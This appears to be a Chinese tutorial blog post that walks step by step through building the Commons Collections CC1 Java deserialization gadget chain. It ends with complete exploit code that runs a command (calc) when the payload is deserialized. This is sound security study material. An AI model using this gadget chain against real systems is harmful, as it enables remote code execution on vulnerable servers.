【JavaSec】JavaCC1链巨细手搓

0x00 CC1

环境配置

  1. JDK -> 8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

直接去官网下载exe文件(现在官网好像有点问题 点完之后就是111

可以用这个https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

最好放到虚拟机里面下载 然后把jdk的文件夹复制出来

image-20240820172225552

image-20240820172139583

  1. Maven

image-20240820175037855

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>
  1. OpenJDK -> sun

为了方便调试,jdk中的一些是反编译后的.class文件 一些命名都是var1 不方便 无法查看源码,所以我们自己下载一下java文件替换一下

下载地址 :https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点zip 下载

解压原jdk中的src包

然后把刚刚下载的里面的/src/share/classes里面的sun 直接拖到解压的src里面 然后添加到项目结构中 如下:

image-20240820181211052

到此结束 成功为java文件

image-20240820181356186

到此CC1的基础配置结束


开审

首先要明白我们利用的思路,找到最终的一个危险利用的地方,然后一点一点往前溯源,找到我们可以进入的入口类

image-20240822165407457

image-20240821141354726

目标构造语句 Runtime.getRuntime().exec("calc");

基础反射原理对上述语句进行转化:普通Java反射

public class cc1_2 {
    public static void main(String[] args) throws Exception{ 
        //获取其方法 exec 参数类型点进去看 发现是String
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec", String.class);
        
        //实例化调用
        Runtime r = Runtime.getRuntime();
        execMethod.invoke(r, "calc");
    }
}
尾部 InvokerTransformer.transform(Object input)

image-20240821140637609

看到有很多方法实现了transform接口,查看方式Ctrl + Alt + B

进到里面看一看,发现有个非常显眼的InvokeTransformer里面有非常明确的调用任意方法的功能

image-20240821141036604

到此确定 最终我们要利用点在此

先验证一下这个函数方法是否能成功调用,将上面普通Java反射的方法改成Transformer的

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class cc1_2 {
 public static void main(String[] args) throws Exception{

     Runtime r = Runtime.getRuntime();
     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);


 }
}

其实对比一下 你就知道为什么选择这个了 左边是自己写的 右边是transform方法

image-20240821143712431

所以这个transform方法是一个天然的反射方法

transform -> TransformedMap.checkSetValue(Object value)

下面回溯 => 去看谁调用了transform方法

image-20240821145114004

去关注不同名字调用transform的地方,同名调用没有用

image-20240821145521239

找到这里checkSetValue方法中 没有任何限制的直接调用了transform方法

所以结合上面的形式,我们需要给valueTransformer赋值为前面这段,value赋值为r

image-20240821150336657

去看checkSetValue方法的所在类 如何构造赋值

直接点一下valueTransformer 查看在哪赋值

image-20240821150638831

这样valueTransformer赋值成功,但是我们还需要看一下value怎么传入 怎么赋值

所以查看一下哪里调用了checkSetValue这个方法

Alt + F7 或直接鼠标右键

发现只有一个地方调用了

image-20240821155118524

按理说应该继续去追踪setValue有哪里调用了,但是有太多,一个一个找比较麻烦,我们分析一下这个地方的作用,其实是重写了Map在遍历时的setValue方法

举例一下用法:

HashMap<Object, Object> map = new HashMap();
map.put("123","456");

for(Map.Entry entry:map.entrySet()){
 System.out.println(entry.getValue());
}

//输出:
456

HashMap<Object, Object> map = new HashMap();
map.put("123","456");

for(Map.Entry entry:map.entrySet()){
 System.out.println(entry.setValue("new"));
 System.out.println(entry.getValue());
}

//输出
456
new

entry就是一组键值对

所以此时想要传值,就要遍历键值对,把我们前面的作为键,传入的value作为值

到此这一段成功执行:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1_2 {
    public static void main(String[] args) throws Exception{

        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer =new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap();
        map.put("123","456");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        for(Map.Entry entry:transformedMap.entrySet()){
            System.out.println(entry.setValue(r));
        }
        
    }
}

image-20240821161120385

测试结束,可行


readObject

下面就不得不去寻找谁调用了setValue 最好是来个readObject

好巧不巧 还真有, 既然真有,那这就是整条链的入口了,回溯到起点了

image-20240821161538871

但是观察这个类和构造方法

image-20240821161806389

没有声明public 没写也就是default 也就是只有在同包下才能调用

所以必须用反射才能获取,无法直接获取

四步走:

 //反射类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

//获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);

//设置作用域
annotationInvocationHandlerConstructor.setAccessible(true);

//赋值调用
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

image-20240821163338492

注意构造时,完全是按照这个参数来的,Annotation是@的那种注解类似是Class,后面是一个Map型参数

到此可以加上序列化和反序列化稍微整合一下了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1_2 {
    public static void main(String[] args) throws Exception{


        Runtime r = Runtime.getRuntime();


        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap();
        map.put("123","456");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


        //反射类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置作用域
        annotationInvocationHandlerConstructor.setAccessible(true);
        //赋值调用
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("cc1.bin");

    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        objectOutputStream.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

}

但是还是不能成功的,整体框架已经搭建好了,下面有些细节需要完善一下

image-20240822162410436

问题完善

  1. Runtime类:没有实现Serializable 无法序列化

image-20240821164116562

  1. 设置上面的两个if语句 成功进入到setValue中

  2. readObject方法中setValue值不对 无法正确传入Runtime.class

image-20240821164242482

解决问题1

原语句:Runtime r = Runtime.getRuntime();

Runtime无法序列化,但是其类Class可以序列化,下面进行反射利用

首先展示常规基本思路,然后一点一点修改为InvokerTransformer的版本

import java.lang.reflect.Method;

public class runtimeTest {
    public static void main(String[] args) throws Exception{
//        Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime", null);//无参方法
        //调用 强转类型
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//第一个表示静态方法 为null  第二个表示无参 为null

        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r, "calc");

    }
}

...代表是数组

image-20240821165916682

invoke

image-20240821170551619

下面是修改为InvokerTransformer的版本的过程,自己写的话其实还好,直接看肯定会有点懵

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class runtimeTest {
    public static void main(String[] args) throws Exception{
//        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
//
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r, "calc");

        //调用transform对象r的getMethod方法 第二个参数是类型,第三个参数是值 对transform的内容进行调用
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        //外层是InvokerTransformer的参数类型 Class 和 Object  里面分别是invoke的类型和值
        Runtime rt = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);

        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
    }
}

虽然看着有点乱,但是放宽审视,从上到下就是递归调用的过程 相当于getRuntime->invoke->exec("calc")

image-20240821173046382

但是想上面这样写 重复性很高,想到一开始发现过的ChainedTransformer

image-20240821173354654

看下用法:传一个数组即可 然后调用transform方法

image-20240821173720780

实现:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class runtimeTest {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers ={
                //还需要调用一个Runtime.class  传入
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);  
    }
}
解决问题2

需要找一个有成员方法的注解

可以发现Override为空 啥也没有

image-20240821180742319

而Target里面有一个成员 值为value

image-20240821180807438

需要把Map的键改成这个名字

image-20240821180850157

这样分析 其实Retention也可以

image-20240821180937607

果然,所以要跟进去明白原理,而不能照搬

image-20240821181024967

解决问题3

修改代码很简单,先给出代码然后分析

 Transformer[] transformers ={
        //还需要调用一个Runtime.class
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

在这个数组里面加上第三行就好了


分析:

想利用readObject这个里面 在设置setValue的时候传入Runtime.class 才能在最终的transform里面成功执行

这个地方真的有点抽象我感觉,可以打个断点看看

image-20240822163541099

这是我打断点的地方,没到setValue就点下面第一个红框的 到了setValue那一行点第二个红框的

第一次传入的值没办法 必然是他自己设置的 下面是调试过程

image-20240822163858702

下面进入到checkSetValue里面 可以看到前面是我们传入的Transformer数组

image-20240822164039759

开始执行 第一次没法改变 没影响

image-20240822164204374

注意看下面这个地方,只要我们能让返回的值是Runtime.class 这样下次调用传入object就会是Runtime.class

image-20240822164312698

这也就产生我们的问题三:这个地方非常重要,比较有助于理解

我们需要探索 谁的transform方法 传入任意一个object 都会返回一个固定的值

image-20240822164714297

好巧不巧,还真有,ConstantTransformer 的 transform方法 会返回一个固定的值iConstant,而这个值也是完全可控的,直接构造传参即可

image-20240822164837031

修改代码后 效果如下

image-20240822164924015

这样执行完transform方法 返回的就是我们指定的

image-20240822164955646

image-20240822165005445

完美解决,到此终于 我们拿下了CC1链!!


代码EXP

直观版

CC1完整链exp:直观版

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","456");  //给一个键值对 进行遍历
        Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedmap);
        
        serialize(o);

        unserialize("cc1.bin");

    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        objectOutputStream.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}
注释版

第二次手写:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1_2 {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("calc");



//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        Runtime r = Runtime.getRuntime();
//        System.out.println(r.getClass());  //就是Runtime.class
//        execMethod.invoke(r, "calc");


//        Runtime r = Runtime.getRuntime();
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers ={
                //还需要调用一个Runtime.class
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap();
        map.put("value","456");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

//        for(Map.Entry entry:transformedMap.entrySet()){
//            System.out.println(entry.setValue(r));
//        }

        //反射类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置作用域
        annotationInvocationHandlerConstructor.setAccessible(true);
        //赋值调用
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("cc1.bin");

    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        objectOutputStream.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

}

感谢:
B站白日梦组长

drun1baby师傅的博客

先知社区的一篇文章

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值